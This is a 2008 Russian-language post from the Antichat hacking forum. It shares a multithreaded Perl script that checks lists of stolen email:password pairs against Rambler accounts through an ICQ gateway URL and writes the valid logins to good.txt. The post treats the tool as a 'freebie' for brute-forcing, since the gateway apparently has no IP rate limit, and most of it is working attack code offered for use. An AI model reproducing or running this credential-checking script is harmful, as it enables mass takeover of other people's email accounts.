Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Rambler password checker (perl) (https://forum.antichat.xyz/showthread.php?t=72794)

Xszz 06.06.2008 02:47

Rambler password checker (perl)
 
Rambler password checker
В общем, наткнулся на форуме одном на просьбу написать брут для rambler через неведомый гейт на icq.com =)
Брут многопоточный , как я понял ограничения по айпи нету =) Так что халява товарищи !

HOWTO
1)Мыла вида мыло:пароль складываем в email.txt
2)Запускаем скрипт , ждем отработки . Валидные ящики будут в good.txt .

Код:

#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;


open (IN , '<email.txt'); #Файл с мылами
my @mail = <IN>;
chomp @mail;
my $ua = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new();
$ua->cookie_jar($cookies);
$ua->timeout(20);

my $i=0;
my @thr;

for (@mail)
{
my ($user, $pass) = split(/:/, shift(@mail));
#print "$user:$pass\n";
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$user,$pass);
$i=($i+1) % 10;  #потоки
}

 foreach(threads->list) { $_->join; }
sub brute
{
my $req = $ua->get("http://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://id.rambler.ru/script/reg.cgi&username=".$_[0]."&password=".$_[1])->as_string;
my $reg = $req =~ /(<string><status>)(\d{1})(<\/status>)/;
if ($2 eq '1')
{
open (G , ">>good.txt");
print G "$_[0]:$_[1]\n";
print "[+]GOOD! $_[0]:$_[1]\n";
close G;
}

}

Скрипт написан за 20 минут , если тема актуальна , напишу что-то по серьёзнее.


Время: 19:58